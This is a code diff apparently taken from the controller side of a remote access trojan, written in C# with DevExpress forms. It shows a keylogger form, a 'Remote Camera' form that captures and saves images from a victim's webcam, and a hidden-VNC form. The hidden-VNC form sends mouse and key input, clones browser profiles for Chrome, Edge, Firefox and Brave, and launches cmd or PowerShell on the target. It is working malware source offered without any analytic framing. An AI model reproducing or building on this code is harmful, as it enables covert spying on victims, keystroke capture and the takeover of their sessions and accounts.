this.processList.ItemCheck += new DevExpress.XtraEditors.Controls.ItemCheckEventHandler(processList_ItemCheck);
this.panelControl2.Controls.Add(this.separatorControl1);
this.panelControl2.Controls.Add(this.labelControl1);
this.panelControl2.Controls.Add(this.btnRefresh);
this.panelControl2.Controls.Add(this.labelControl2);
this.panelControl2.Controls.Add(this.spinEditInterval);
this.panelControl2.Controls.Add(this.btnApply);
this.panelControl2.Controls.Add(this.txtFilter);
this.panelControl2.Controls.Add(this.labelControl4);
this.panelControl2.Dock = System.Windows.Forms.DockStyle.Top;
this.panelControl2.Location = new System.Drawing.Point(0, 0);
this.panelControl2.Name = "panelControl2";
this.panelControl2.Size = new System.Drawing.Size(817, 141);
this.panelControl2.TabIndex = 66;
this.separatorControl1.Anchor = System.Windows.Forms.AnchorStyles.None;
this.separatorControl1.LineColor = System.Drawing.Color.FromArgb(1, 163, 1);
this.separatorControl1.Location = new System.Drawing.Point(2, 54);
this.separatorControl1.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.separatorControl1.Name = "separatorControl1";
this.separatorControl1.Padding = new System.Windows.Forms.Padding(8, 7, 8, 7);
this.separatorControl1.Size = new System.Drawing.Size(810, 15);
this.separatorControl1.TabIndex = 179;
this.btnRefresh.AppearanceDisabled.ForeColor = System.Drawing.Color.Gray;
this.btnRefresh.AppearanceDisabled.Options.UseForeColor = true;
this.btnRefresh.Location = new System.Drawing.Point(586, 16);
this.btnRefresh.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.btnRefresh.Name = "btnRefresh";
this.btnRefresh.Size = new System.Drawing.Size(188, 32);
this.btnRefresh.TabIndex = 65;
this.btnRefresh.Text = "Refresh Informations";
this.btnRefresh.Click += new System.EventHandler(btnRefresh_Click);
this.btnApply.Location = new System.Drawing.Point(267, 16);
this.btnApply.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.btnApply.Name = "btnApply";
this.btnApply.Size = new System.Drawing.Size(188, 32);
this.btnApply.TabIndex = 61;
this.btnApply.Text = "Apply";
this.btnApply.Click += new System.EventHandler(btnApply_Click);
base.AutoScaleDimensions = new System.Drawing.SizeF(6f, 13f);
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
base.ClientSize = new System.Drawing.Size(819, 533);
base.Controls.Add(this.xtraTabControlLog);
this.Cursor = System.Windows.Forms.Cursors.Default;
base.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog;
base.IconOptions.SvgImage = (DevExpress.Utils.Svg.SvgImage)resources.GetObject("FormTimerKeylog.IconOptions.SvgImage");
base.Name = "FormTimerKeylog";
base.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.Text = "Advanced Timer Keylogger for Applications";
base.FormClosing += new System.Windows.Forms.FormClosingEventHandler(FormTimerKeylog_FormClosing);
base.Load += new System.EventHandler(FormTimerKeylog_Load);
((System.ComponentModel.ISupportInitialize)this.spinEditInterval.Properties).EndInit();
((System.ComponentModel.ISupportInitialize)this.txtFilter.Properties).EndInit();
((System.ComponentModel.ISupportInitialize)this.xtraTabControlLog).EndInit();
this.xtraTabControlLog.ResumeLayout(false);
this.xtraTabPageLogVIew.ResumeLayout(false);
((System.ComponentModel.ISupportInitialize)this.panelControl1).EndInit();
this.panelControl1.ResumeLayout(false);
this.xtraTabPageSetting.ResumeLayout(false);
((System.ComponentModel.ISupportInitialize)this.xtraTabControl1).EndInit();
this.xtraTabControl1.ResumeLayout(false);
this.xtraTabPage1.ResumeLayout(false);
((System.ComponentModel.ISupportInitialize)this.listBoxInstalledApp).EndInit();
this.xtraTabPage2.ResumeLayout(false);
((System.ComponentModel.ISupportInitialize)this.processList).EndInit();
((System.ComponentModel.ISupportInitialize)this.panelControl2).EndInit();
this.panelControl2.ResumeLayout(false);
this.panelControl2.PerformLayout();
((System.ComponentModel.ISupportInitialize)this.separatorControl1).EndInit();
base.ResumeLayout(false);
}
}

View File

@ -0,0 +1,30 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype"><value>text/microsoft-resx</value></resheader><resheader name="version"><value>1.3</value></resheader><resheader name="reader"><value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value></resheader><resheader name="writer"><value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value></resheader><data name="FormTimerKeylog.IconOptions.SvgImage" mimetype="application/x-microsoft.net.object.binary.base64"><value>AAEAAAD/////AQAAAAAAAAAMAgAAAFlEZXZFeHByZXNzLkRhdGEudjIyLjEsIFZlcnNpb249MjIuMS40LjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjg4ZDE3NTRkNzAwZTQ5YQUBAAAAHURldkV4cHJlc3MuVXRpbHMuU3ZnLlN2Z0ltYWdlAQAAAAREYXRhBwICAAAACQMAAAAPAwAAAPICAAAC77u/PD94bWwgdmVyc2lvbj0nMS4wJyBlbmNvZGluZz0nVVRGLTgnPz4NCjxzdmcgeD0iMHB4IiB5PSIwcHgiIHZpZXdCb3g9IjAgMCAzMiAzMiIgdmVyc2lvbj0iMS4xIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB4bWw6c3BhY2U9InByZXNlcnZlIiBpZD0iTGF5ZXJfMSIgc3R5bGU9ImVuYWJsZS1iYWNrZ3JvdW5kOm5ldyAwIDAgMzIgMzIiPg0KICA8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgoJLkdyZWVue2ZpbGw6IzAzOUMyMzt9CgkuQmxhY2t7ZmlsbDojNzI3MjcyO30KPC9zdHlsZT4NCiAgPGcgaWQ9Ik5vdFN0YXJ0ZWQiPg0KICAgIDxwYXRoIGQ9Ik0xNiwxNC4yVjhoLTJ2Ni4yYy0xLjIsMC40LTIsMS41LTIsMi44YzAsMS43LDEuMywzLDMsM3MzLTEuMywzLTNDMTgsMTUuNywxNy4yLDE0LjYsMTYsMTQuMnoiIGNsYXNzPSJCbGFjayIgLz4NCiAgICA8cGF0aCBkPSJNMTcuNyw0LjNDMTcuOSwzLjksMTgsMy41LDE4LDNjMC0xLjctMS4zLTMtMy0zcy0zLDEuMy0zLDNjMCwwLjUsMC4xLDAuOSwwLjMsMS4zQzYuNCw1LjUsMiwxMC43LDIsMTcgICBjMCw3LjIsNS44LDEzLDEzLDEzczEzLTUuOCwxMy0xM0MyOCwxMC43LDIzLjYsNS41LDE3LjcsNC4zeiBNMTUsMjhDOC45LDI4LDQsMjMuMSw0LDE3UzguOSw2LDE1LDZzMTEsNC45LDExLDExUzIxLjEsMjgsMTUsMjh6IiBjbGFzcz0iR3JlZW4iIC8+DQogIDwvZz4NCjwvc3ZnPgs=</value></data></root>

323
Forms/FormWebcam.cs Normal file
View File

@ -0,0 +1,323 @@
using System;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Threading;
using System.Windows.Forms;
using DevExpress.Utils;
using DevExpress.Utils.Svg;
using DevExpress.XtraEditors;
using DevExpress.XtraEditors.Controls;
using DevExpress.XtraTab;
using MessagePackLib.MessagePack;
using Server.Connection;
namespace Server.Forms;
public class FormWebcam : XtraForm
{
public Stopwatch sw = Stopwatch.StartNew();
public int FPS;
public bool SaveIt;
private IContainer components;
public PictureBox pictureBox1;
public System.Windows.Forms.Timer timer1;
private System.Windows.Forms.Timer timerSave;
public Label labelWait;
private Label label1;
public SpinEdit numericUpDown1;
public ComboBoxEdit comboBox1;
public SimpleButton button1;
public SimpleButton btnSave;
private PanelControl panelControl1;
private XtraTabControl xtraTabControl2;
private XtraTabPage xtraTabPage2;
public FormMain F { get; set; }
internal Clients Client { get; set; }
internal Clients ParentClient { get; set; }
public string FullPath { get; set; }
public Image GetImage { get; set; }
public FormWebcam()
{
InitializeComponent();
}
private void Button1_Click(object sender, EventArgs e)
{
try
{
if (button1.Tag == "play")
{
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").AsString = "webcam";
msgPack.ForcePathObject("Command").AsString = "capture";
msgPack.ForcePathObject("List").AsInteger = comboBox1.SelectedIndex;
msgPack.ForcePathObject("Quality").AsInteger = Convert.ToInt32(numericUpDown1.Value);
ThreadPool.QueueUserWorkItem(Client.Send, msgPack.Encode2Bytes());
button1.Tag = "stop";
numericUpDown1.Enabled = false;
comboBox1.Enabled = false;
btnSave.Enabled = true;
}
else
{
button1.Tag = "play";
MsgPack msgPack2 = new MsgPack();
msgPack2.ForcePathObject("Pac_ket").AsString = "webcam";
msgPack2.ForcePathObject("Command").AsString = "stop";
ThreadPool.QueueUserWorkItem(Client.Send, msgPack2.Encode2Bytes());
numericUpDown1.Enabled = true;
comboBox1.Enabled = true;
btnSave.Enabled = false;
timerSave.Stop();
}
}
catch
{
}
}
private void Timer1_Tick(object sender, EventArgs e)
{
try
{
if (!ParentClient.TcpClient.Connected || !Client.TcpClient.Connected)
{
timer1.Stop();
Close();
}
}
catch
{
Close();
}
}
private void FormWebcam_FormClosed(object sender, FormClosedEventArgs e)
{
try
{
ThreadPool.QueueUserWorkItem(delegate
{
Client?.Disconnected();
});
}
catch
{
}
}
private void BtnSave_Click(object sender, EventArgs e)
{
if (button1.Tag != "stop")
{
return;
}
if (SaveIt)
{
SaveIt = false;
return;
}
try
{
if (!Directory.Exists(FullPath))
{
Directory.CreateDirectory(FullPath);
}
Process.Start(FullPath);
}
catch
{
}
SaveIt = true;
}
private void TimerSave_Tick(object sender, EventArgs e)
{
try
{
if (!Directory.Exists(FullPath))
{
Directory.CreateDirectory(FullPath);
}
pictureBox1.Image.Save(FullPath + "\\IMG_" + DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss") + ".jpeg", ImageFormat.Jpeg);
}
catch
{
}
}
private void FormWebcam_Load(object sender, EventArgs e)
{
}
protected override void Dispose(bool disposing)
{
if (disposing && components != null)
{
components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Server.Forms.FormWebcam));
this.btnSave = new DevExpress.XtraEditors.SimpleButton();
this.button1 = new DevExpress.XtraEditors.SimpleButton();
this.comboBox1 = new DevExpress.XtraEditors.ComboBoxEdit();
this.numericUpDown1 = new DevExpress.XtraEditors.SpinEdit();
this.label1 = new System.Windows.Forms.Label();
this.pictureBox1 = new System.Windows.Forms.PictureBox();
this.timer1 = new System.Windows.Forms.Timer(this.components);
this.timerSave = new System.Windows.Forms.Timer(this.components);
this.labelWait = new System.Windows.Forms.Label();
this.panelControl1 = new DevExpress.XtraEditors.PanelControl();
this.xtraTabControl2 = new DevExpress.XtraTab.XtraTabControl();
this.xtraTabPage2 = new DevExpress.XtraTab.XtraTabPage();
((System.ComponentModel.ISupportInitialize)this.comboBox1.Properties).BeginInit();
((System.ComponentModel.ISupportInitialize)this.numericUpDown1.Properties).BeginInit();
((System.ComponentModel.ISupportInitialize)this.pictureBox1).BeginInit();
((System.ComponentModel.ISupportInitialize)this.panelControl1).BeginInit();
this.panelControl1.SuspendLayout();
((System.ComponentModel.ISupportInitialize)this.xtraTabControl2).BeginInit();
this.xtraTabControl2.SuspendLayout();
this.xtraTabPage2.SuspendLayout();
base.SuspendLayout();
this.btnSave.ImageOptions.Image = (System.Drawing.Image)resources.GetObject("btnSave.ImageOptions.Image");
this.btnSave.ImageOptions.Location = DevExpress.XtraEditors.ImageLocation.MiddleCenter;
this.btnSave.ImageOptions.SvgImageColorizationMode = DevExpress.Utils.SvgImageColorizationMode.CommonPalette;
this.btnSave.ImageOptions.SvgImageSize = new System.Drawing.Size(25, 25);
this.btnSave.Location = new System.Drawing.Point(323, 4);
this.btnSave.Name = "btnSave";
this.btnSave.Size = new System.Drawing.Size(30, 30);
this.btnSave.TabIndex = 123;
this.btnSave.Text = "OK";
this.btnSave.Click += new System.EventHandler(BtnSave_Click);
this.button1.ImageOptions.Location = DevExpress.XtraEditors.ImageLocation.MiddleCenter;
this.button1.ImageOptions.SvgImage = (DevExpress.Utils.Svg.SvgImage)resources.GetObject("button1.ImageOptions.SvgImage");
this.button1.ImageOptions.SvgImageColorizationMode = DevExpress.Utils.SvgImageColorizationMode.CommonPalette;
this.button1.ImageOptions.SvgImageSize = new System.Drawing.Size(25, 25);
this.button1.Location = new System.Drawing.Point(274, 4);
this.button1.Name = "button1";
this.button1.Size = new System.Drawing.Size(30, 30);
this.button1.TabIndex = 122;
this.button1.Text = "OK";
this.button1.Click += new System.EventHandler(Button1_Click);
this.comboBox1.Location = new System.Drawing.Point(106, 4);
this.comboBox1.Name = "comboBox1";
this.comboBox1.Properties.Buttons.AddRange(new DevExpress.XtraEditors.Controls.EditorButton[1]
{
new DevExpress.XtraEditors.Controls.EditorButton(DevExpress.XtraEditors.Controls.ButtonPredefines.Combo)
});
this.comboBox1.Size = new System.Drawing.Size(149, 30);
this.comboBox1.TabIndex = 9;
this.numericUpDown1.EditValue = new decimal(new int[4] { 50, 0, 0, 0 });
this.numericUpDown1.Location = new System.Drawing.Point(43, 4);
this.numericUpDown1.Name = "numericUpDown1";
this.numericUpDown1.Properties.Buttons.AddRange(new DevExpress.XtraEditors.Controls.EditorButton[1]
{
new DevExpress.XtraEditors.Controls.EditorButton(DevExpress.XtraEditors.Controls.ButtonPredefines.Combo)
});
this.numericUpDown1.Size = new System.Drawing.Size(57, 30);
this.numericUpDown1.TabIndex = 7;
this.label1.AutoSize = true;
this.label1.Location = new System.Drawing.Point(4, 11);
this.label1.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
this.label1.Name = "label1";
this.label1.Size = new System.Drawing.Size(35, 16);
this.label1.TabIndex = 8;
this.label1.Text = "FPS:";
this.pictureBox1.BackColor = System.Drawing.Color.FromArgb(30, 30, 30);
this.pictureBox1.Dock = System.Windows.Forms.DockStyle.Fill;
this.pictureBox1.Location = new System.Drawing.Point(0, 0);
this.pictureBox1.Margin = new System.Windows.Forms.Padding(2);
this.pictureBox1.Name = "pictureBox1";
this.pictureBox1.Size = new System.Drawing.Size(615, 409);
this.pictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage;
this.pictureBox1.TabIndex = 5;
this.pictureBox1.TabStop = false;
this.timer1.Interval = 1000;
this.timer1.Tick += new System.EventHandler(Timer1_Tick);
this.timerSave.Interval = 1000;
this.timerSave.Tick += new System.EventHandler(TimerSave_Tick);
this.labelWait.AutoSize = true;
this.labelWait.Font = new System.Drawing.Font("Microsoft Sans Serif", 12f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 0);
this.labelWait.Location = new System.Drawing.Point(221, 188);
this.labelWait.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
this.labelWait.Name = "labelWait";
this.labelWait.Size = new System.Drawing.Size(101, 20);
this.labelWait.TabIndex = 6;
this.labelWait.Text = "Please wait...";
this.panelControl1.Controls.Add(this.btnSave);
this.panelControl1.Controls.Add(this.label1);
this.panelControl1.Controls.Add(this.button1);
this.panelControl1.Controls.Add(this.numericUpDown1);
this.panelControl1.Controls.Add(this.comboBox1);
this.panelControl1.Dock = System.Windows.Forms.DockStyle.Top;
this.panelControl1.Location = new System.Drawing.Point(0, 0);
this.panelControl1.Name = "panelControl1";
this.panelControl1.Size = new System.Drawing.Size(615, 38);
this.panelControl1.TabIndex = 7;
this.xtraTabControl2.Dock = System.Windows.Forms.DockStyle.Fill;
this.xtraTabControl2.Location = new System.Drawing.Point(0, 0);
this.xtraTabControl2.MultiLine = DevExpress.Utils.DefaultBoolean.True;
this.xtraTabControl2.Name = "xtraTabControl2";
this.xtraTabControl2.SelectedTabPage = this.xtraTabPage2;
this.xtraTabControl2.Size = new System.Drawing.Size(617, 440);
this.xtraTabControl2.TabIndex = 11;
this.xtraTabControl2.TabPages.AddRange(new DevExpress.XtraTab.XtraTabPage[1] { this.xtraTabPage2 });
this.xtraTabPage2.Controls.Add(this.panelControl1);
this.xtraTabPage2.Controls.Add(this.labelWait);
this.xtraTabPage2.Controls.Add(this.pictureBox1);
this.xtraTabPage2.Name = "xtraTabPage2";
this.xtraTabPage2.Size = new System.Drawing.Size(615, 409);
base.AutoScaleDimensions = new System.Drawing.SizeF(7f, 16f);
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
base.ClientSize = new System.Drawing.Size(617, 440);
base.Controls.Add(this.xtraTabControl2);
base.IconOptions.Icon = (System.Drawing.Icon)resources.GetObject("FormWebcam.IconOptions.Icon");
base.IconOptions.Image = (System.Drawing.Image)resources.GetObject("FormWebcam.IconOptions.Image");
base.Margin = new System.Windows.Forms.Padding(2);
base.Name = "FormWebcam";
base.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.Text = "Remote Camera";
base.FormClosed += new System.Windows.Forms.FormClosedEventHandler(FormWebcam_FormClosed);
base.Load += new System.EventHandler(FormWebcam_Load);
((System.ComponentModel.ISupportInitialize)this.comboBox1.Properties).EndInit();
((System.ComponentModel.ISupportInitialize)this.numericUpDown1.Properties).EndInit();
((System.ComponentModel.ISupportInitialize)this.pictureBox1).EndInit();
((System.ComponentModel.ISupportInitialize)this.panelControl1).EndInit();
this.panelControl1.ResumeLayout(false);
this.panelControl1.PerformLayout();
((System.ComponentModel.ISupportInitialize)this.xtraTabControl2).EndInit();
this.xtraTabControl2.ResumeLayout(false);
this.xtraTabPage2.ResumeLayout(false);
this.xtraTabPage2.PerformLayout();
base.ResumeLayout(false);
}
}

30
Forms/FormWebcam.resx Normal file

File diff suppressed because one or more lines are too long

827
Forms/FrmVNC.cs Normal file
View File

@ -0,0 +1,827 @@
using System;
using System.ComponentModel;
using System.Drawing;
using System.IO;
using System.Net.Sockets;
using System.Runtime.CompilerServices;
using System.Runtime.Serialization.Formatters;
using System.Runtime.Serialization.Formatters.Binary;
using System.Threading;
using System.Windows.Forms;
using DevExpress.Utils;
using DevExpress.Utils.Svg;
using DevExpress.XtraEditors;
using DevExpress.XtraEditors.Controls;
using DevExpress.XtraTab;
using MessagePackLib.MessagePack;
using Microsoft.VisualBasic.CompilerServices;
using Server.Connection;
namespace Server.Forms;
public class FrmVNC : XtraForm
{
private int int_0;
public int total_size;
private bool bool_1;
private bool bool_2;
public TcpClient client;
public Clients main_client;
private IContainer components;
private System.Windows.Forms.Timer timer1;
private Label ResizeLabel;
private Label QualityLabel;
private Label IntervalLabel;
private PictureBox VNCBox;
private ToolStripStatusLabel toolStripStatusLabel1;
private ToolStripStatusLabel toolStripStatusLabel2;
private System.Windows.Forms.Timer timer2;
private TrackBarControl IntervalScroll;
private TrackBarControl QualityScroll;
private TrackBarControl ResizeScroll;
private CheckEdit chkClone;
private SimpleButton simpleButton2;
private SimpleButton simpleButton4;
private SimpleButton simpleButton3;
private SimpleButton simpleButton5;
private SimpleButton simpleButton6;
private SimpleButton simpleButton9;
private SimpleButton simpleButton10;
private SimpleButton simpleButton11;
private SimpleButton simpleButton12;
public ProgressBarControl DuplicateProgess;
private XtraTabControl xtraTabControl1;
private XtraTabPage xtraTabPage1;
private PanelControl panelControl2;
private SimpleButton CloseBtn;
private PanelControl panelControl1;
private StatusStrip statusStrip1;
private ToolStripStatusLabel LabelStatus;
private PanelControl panelControl3;
public PictureBox VNCBoxe
{
get
{
return VNCBox;
}
set
{
VNCBox = value;
}
}
public ToolStripStatusLabel _LabelStatus
{
get
{
return LabelStatus;
}
set
{
LabelStatus = value;
}
}
public void DuplicateProfile(int copied)
{
if (total_size != 0)
{
if (copied > total_size)
{
copied = total_size;
}
int num = (int)(100.0 * ((double)copied / (double)total_size));
LabelStatus.Text = $"[{num} %] Copying {copied} / {total_size} MB ";
DuplicateProgess.Position = num;
}
}
public FrmVNC()
{
int_0 = 0;
bool_1 = true;
bool_2 = false;
InitializeComponent();
VNCBox.MouseEnter += VNCBox_MouseEnter;
VNCBox.MouseLeave += VNCBox_MouseLeave;
VNCBox.KeyPress += VNCBox_KeyPress;
}
private void VNCBox_MouseEnter(object sender, EventArgs e)
{
VNCBox.Focus();
}
private void VNCBox_MouseLeave(object sender, EventArgs e)
{
FindForm().ActiveControl = null;
}
private void VNCBox_KeyPress(object sender, KeyPressEventArgs e)
{
SendTCP("7*" + Conversions.ToString(e.KeyChar));
}
private void VNCForm_Load(object sender, EventArgs e)
{
VNCBox.Tag = new Size(1028, 1028);
SendTCP("0*");
SendTCP("17*" + Conversions.ToString(IntervalScroll.Value));
SendTCP("18*" + Conversions.ToString(QualityScroll.Value));
SendTCP("19*" + Conversions.ToString((double)ResizeScroll.Value / 100.0));
LabelStatus.Text = "Ready...";
}
public void Check()
{
}
private void timer1_Tick(object sender, EventArgs e)
{
checked
{
int_0 += 100;
if (int_0 >= SystemInformation.DoubleClickTime)
{
bool_1 = true;
bool_2 = false;
int_0 = 0;
}
}
}
private void CopyBtn_Click(object sender, EventArgs e)
{
SendTCP("9*");
LabelStatus.Text = "Copied...";
}
private void PasteBtn_Click(object sender, EventArgs e)
{
try
{
SendTCP("10*" + Clipboard.GetText());
}
catch (Exception projectError)
{
ProjectData.SetProjectError(projectError);
ProjectData.ClearProjectError();
}
LabelStatus.Text = "Pasted...";
}
private void VNCBox_MouseDown(object sender, MouseEventArgs e)
{
if (bool_1)
{
bool_1 = false;
timer1.Start();
}
else if (int_0 < SystemInformation.DoubleClickTime)
{
bool_2 = true;
}
Point location = e.Location;
object tag = VNCBox.Tag;
Size size = ((tag != null) ? ((Size)tag) : default(Size));
double num = (double)VNCBox.Width / (double)size.Width;
double num2 = (double)VNCBox.Height / (double)size.Height;
double num3 = Math.Ceiling((double)location.X / num);
double num4 = Math.Ceiling((double)location.Y / num2);
if (bool_2)
{
if (e.Button == MouseButtons.Left)
{
SendTCP("6*" + Conversions.ToString(num3) + "*" + Conversions.ToString(num4));
}
}
else if (e.Button == MouseButtons.Left)
{
SendTCP("2*" + Conversions.ToString(num3) + "*" + Conversions.ToString(num4));
}
else if (e.Button == MouseButtons.Right)
{
SendTCP("3*" + Conversions.ToString(num3) + "*" + Conversions.ToString(num4));
}
}
private void VNCBox_MouseUp(object sender, MouseEventArgs e)
{
Point location = e.Location;
object tag = VNCBox.Tag;
Size size = ((tag != null) ? ((Size)tag) : default(Size));
double num = (double)VNCBox.Width / (double)size.Width;
double num2 = (double)VNCBox.Height / (double)size.Height;
double num3 = Math.Ceiling((double)location.X / num);
double num4 = Math.Ceiling((double)location.Y / num2);
if (e.Button == MouseButtons.Left)
{
SendTCP("4*" + Conversions.ToString(num3) + "*" + Conversions.ToString(num4));
}
else if (e.Button == MouseButtons.Right)
{
SendTCP("5*" + Conversions.ToString(num3) + "*" + Conversions.ToString(num4));
}
}
private void VNCBox_MouseMove(object sender, MouseEventArgs e)
{
Point location = e.Location;
object tag = VNCBox.Tag;
Size size = ((tag != null) ? ((Size)tag) : default(Size));
double num = (double)VNCBox.Width / (double)size.Width;
double num2 = (double)VNCBox.Height / (double)size.Height;
double num3 = Math.Ceiling((double)location.X / num);
double num4 = Math.Ceiling((double)location.Y / num2);
SendTCP("8*" + Conversions.ToString(num3) + "*" + Conversions.ToString(num4));
}
private void IntervalScroll_Scroll(object sender, EventArgs e)
{
IntervalLabel.Text = "Interval (ms): " + Conversions.ToString(IntervalScroll.Value);
SendTCP("17*" + Conversions.ToString(IntervalScroll.Value));
}
private void QualityScroll_Scroll(object sender, EventArgs e)
{
QualityLabel.Text = "Quality : " + Conversions.ToString(QualityScroll.Value) + "%";
SendTCP("18*" + Conversions.ToString(QualityScroll.Value));
}
private void ResizeScroll_Scroll(object sender, EventArgs e)
{
ResizeLabel.Text = "Resize : " + Conversions.ToString(ResizeScroll.Value) + "%";
SendTCP("19*" + Conversions.ToString((double)ResizeScroll.Value / 100.0));
}
private void RestoreMaxBtn_Click(object sender, EventArgs e)
{
SendTCP("15*");
}
private void MinBtn_Click(object sender, EventArgs e)
{
SendTCP("14*");
}
private void CloseBtn_Click(object sender, EventArgs e)
{
SendTCP("16*");
}
private void StartExplorer_Click(object sender, EventArgs e)
{
SendTCP("21*");
LabelStatus.Text = "Showing Windows Explorer...";
}
private void StartBrowserBtn_Click(object sender, EventArgs e)
{
SendTCP("11*" + Conversions.ToString(chkClone.Checked));
LabelStatus.Text = $"Starting Chrome[Cloning {chkClone.Checked}]...";
}
private void SendTCP(object object_0)
{
if (client == null)
{
return;
}
checked
{
try
{
lock (client)
{
BinaryFormatter binaryFormatter = new BinaryFormatter();
binaryFormatter.AssemblyFormat = FormatterAssemblyStyle.Simple;
binaryFormatter.TypeFormat = FormatterTypeStyle.TypesAlways;
binaryFormatter.FilterLevel = TypeFilterLevel.Full;
object objectValue = RuntimeHelpers.GetObjectValue(object_0);
ulong num = 0uL;
MemoryStream memoryStream = new MemoryStream();
binaryFormatter.Serialize(memoryStream, RuntimeHelpers.GetObjectValue(objectValue));
num = (ulong)memoryStream.Position;
client.GetStream().Write(BitConverter.GetBytes(num), 0, 8);
byte[] buffer = memoryStream.GetBuffer();
client.GetStream().Write(buffer, 0, (int)num);
memoryStream.Close();
memoryStream.Dispose();
}
}
catch (Exception projectError)
{
ProjectData.SetProjectError(projectError);
ProjectData.ClearProjectError();
}
}
}
private void VNCForm_KeyPress(object sender, KeyPressEventArgs e)
{
SendTCP("7*" + Conversions.ToString(e.KeyChar));
}
private void VNCForm_FormClosing(object sender, FormClosingEventArgs e)
{
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").AsString = "HVNCStop";
ThreadPool.QueueUserWorkItem(main_client.Send, msgPack.Encode2Bytes());
Hide();
e.Cancel = true;
}
private void VNCForm_Click(object sender, EventArgs e)
{
method_18(null);
}
private void method_18(object object_0)
{
base.ActiveControl = (Control)object_0;
}
private void button1_Click(object sender, EventArgs e)
{
if (chkClone.Checked)
{
SendTCP("30*" + Conversions.ToString(Value: true));
}
else
{
SendTCP("30*" + Conversions.ToString(Value: false));
}
LabelStatus.Text = $"Starting Edge[Cloning {chkClone.Checked}]...";
}
private void button2_Click(object sender, EventArgs e)
{
if (chkClone.Checked)
{
SendTCP("12*" + Conversions.ToString(Value: true));
}
else
{
SendTCP("12*" + Conversions.ToString(Value: false));
}
LabelStatus.Text = $"Starting FireFox[Cloning {chkClone.Checked}]...";
}
private void timer2_Tick(object sender, EventArgs e)
{
Check();
}
private void button4_Click(object sender, EventArgs e)
{
SendTCP($"32*{chkClone.Checked}");
LabelStatus.Text = $"Starting Brave[Cloning {chkClone.Checked}]...";
}
private void button7_Click(object sender, EventArgs e)
{
SendTCP("4875*");
LabelStatus.Text = "Runnig Command Prompt...";
}
private void button8_Click(object sender, EventArgs e)
{
SendTCP("4876*");
LabelStatus.Text = "Runnig PowerShell...";
}
private void VNCBox_Click(object sender, EventArgs e)
{
}
private void VNCBox_MouseHover(object sender, EventArgs e)
{
VNCBox.Focus();
}
protected override void Dispose(bool disposing)
{
if (disposing && components != null)
{
components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Server.Forms.FrmVNC));
this.timer1 = new System.Windows.Forms.Timer(this.components);
this.ResizeLabel = new System.Windows.Forms.Label();
this.QualityLabel = new System.Windows.Forms.Label();
this.IntervalLabel = new System.Windows.Forms.Label();
this.VNCBox = new System.Windows.Forms.PictureBox();
this.toolStripStatusLabel1 = new System.Windows.Forms.ToolStripStatusLabel();
this.toolStripStatusLabel2 = new System.Windows.Forms.ToolStripStatusLabel();
this.timer2 = new System.Windows.Forms.Timer(this.components);
this.chkClone = new DevExpress.XtraEditors.CheckEdit();
this.ResizeScroll = new DevExpress.XtraEditors.TrackBarControl();
this.QualityScroll = new DevExpress.XtraEditors.TrackBarControl();
this.IntervalScroll = new DevExpress.XtraEditors.TrackBarControl();
this.DuplicateProgess = new DevExpress.XtraEditors.ProgressBarControl();
this.simpleButton9 = new DevExpress.XtraEditors.SimpleButton();
this.simpleButton10 = new DevExpress.XtraEditors.SimpleButton();
this.simpleButton11 = new DevExpress.XtraEditors.SimpleButton();
this.simpleButton12 = new DevExpress.XtraEditors.SimpleButton();
this.simpleButton6 = new DevExpress.XtraEditors.SimpleButton();
this.simpleButton5 = new DevExpress.XtraEditors.SimpleButton();
this.simpleButton4 = new DevExpress.XtraEditors.SimpleButton();
this.simpleButton3 = new DevExpress.XtraEditors.SimpleButton();
